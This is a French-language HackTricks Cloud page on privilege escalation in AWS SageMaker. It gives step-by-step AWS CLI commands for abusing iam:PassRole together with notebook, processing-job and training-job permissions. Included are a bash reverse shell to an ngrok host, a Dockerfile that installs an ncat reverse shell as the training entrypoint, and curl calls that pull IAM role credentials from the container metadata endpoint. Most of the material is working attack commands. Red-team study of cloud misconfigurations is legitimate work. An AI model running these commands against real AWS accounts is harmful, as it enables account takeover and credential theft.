AWS - Sagemaker Privesc

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS de HackTricks)!

Autres façons de soutenir HackTricks :

iam:PassRole, sagemaker:CreateNotebookInstance, sagemaker:CreatePresignedNotebookInstanceUrl

Commencez à créer un notebook avec le rôle IAM y accédant attaché :

aws sagemaker create-notebook-instance --notebook-instance-name example \
--instance-type ml.t2.medium \
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>

La réponse devrait contenir un champ NotebookInstanceArn, qui contiendra l'ARN de la nouvelle instance de notebook créée. Nous pouvons ensuite utiliser l'API create-presigned-notebook-instance-url pour générer une URL que nous pouvons utiliser pour accéder à l'instance de notebook une fois qu'elle est prête :

aws sagemaker create-presigned-notebook-instance-url \
--notebook-instance-name <name>

Accédez à l'URL avec le navigateur et cliquez sur Open JupyterLab en haut à droite, puis faites défiler jusqu'à l'onglet “Launcher” et sous la section “Other”, cliquez sur le bouton “Terminal”.

Maintenant, il est possible d'accéder aux informations d'identification des métadonnées du rôle IAM.

Impact potentiel: Élévation des privilèges vers le rôle de service sagemaker spécifié.

sagemaker:CreatePresignedNotebookInstanceUrl

Si des notebooks Jupyter sont déjà en cours d'exécution et que vous pouvez les lister avec sagemaker:ListNotebookInstances (ou les découvrir de toute autre manière), vous pouvez générer une URL pour y accéder, les ouvrir et voler les informations d'identification comme indiqué dans la technique précédente.

aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>

Impact potentiel : Élévation des privilèges vers le rôle de service Sagemaker attaché.

sagemaker:CreateProcessingJob,iam:PassRole

Un attaquant avec ces autorisations peut faire exécuter à Sagemaker une tâche de traitement avec un rôle Sagemaker qui lui est attaché. L'attaquant peut indiquer la définition du conteneur qui sera exécuté dans une instance de compte ECS géré par AWS, et voler les informations d'identification du rôle IAM attaché.

# I uploaded a python docker image to the ECR
aws sagemaker create-processing-job \
--processing-job-name privescjob \
--processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \
--app-specification "{\"ImageUri\":\"<id>.dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \
--role-arn <sagemaker-arn-role>

# In my tests it took 10min to receive the shell
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the creds

Impact potentiel : Élévation des privilèges vers le rôle de service Sagemaker spécifié.

sagemaker:CreateTrainingJob, iam:PassRole

Un attaquant avec ces autorisations pourra créer un job de formation, exécuter un conteneur arbitraire avec un rôle attaché. Par conséquent, l'attaquant pourra voler les informations d'identification du rôle.

Ce scénario est plus difficile à exploiter que le précédent car vous devez générer une image Docker qui enverra le shell rev ou les informations d'identification directement à l'attaquant (vous ne pouvez pas indiquer une commande de démarrage dans la configuration du job de formation).

# Create docker image
mkdir /tmp/rev
## Note that the trainning job is going to call an executable called "train"
## That's why I'm putting the rev shell in /bin/train
## Set the values of <YOUR-IP-OR-DOMAIN> and <YOUR-PORT>
cat > /tmp/rev/Dockerfile <<EOF
FROM ubuntu
RUN apt update && apt install -y ncat curl
RUN printf '#!/bin/bash\nncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh' > /bin/train
RUN chmod +x /bin/train
CMD ncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh
EOF

cd /tmp/rev
sudo docker build . -t reverseshell

# Upload it to ECR
sudo docker login -u AWS -p $(aws ecr get-login-password --region <region>) <id>.dkr.ecr.<region>.amazonaws.com/<repo>
sudo docker tag reverseshell:latest <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
sudo docker push <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest

```bash # Create trainning job with the docker image created aws sagemaker create-training-job \ --training-job-name privescjob \ --resource-config '{"InstanceCount": 1,"InstanceType": "ml.m4.4xlarge","VolumeSizeInGB": 50}' \ --algorithm-specification '{"TrainingImage":".dkr.ecr..amazonaws.com/reverseshell", "TrainingInputMode": "Pipe"}' \ --role-arn \ --output-data-config '{"S3OutputPath": "s3://"}' \ --stopping-condition '{"MaxRuntimeInSeconds": 600}'

#To get the creds curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer

**Impact potentiel :** Privesc vers le rôle de service sagemaker spécifié.

## `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`

Un attaquant avec ces autorisations pourra (potentiellement) créer un **job d'entraînement d'hyperparamètres**, **exécuter un conteneur arbitraire** avec un **rôle attaché**.\
_Je n'ai pas exploité par manque de temps, mais cela semble similaire aux exploits précédents, n'hésitez pas à envoyer un PR avec les détails de l'exploitation._

# Références
* [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)

<details>

<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Autres façons de soutenir HackTricks :

* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>

Dernière mise à jour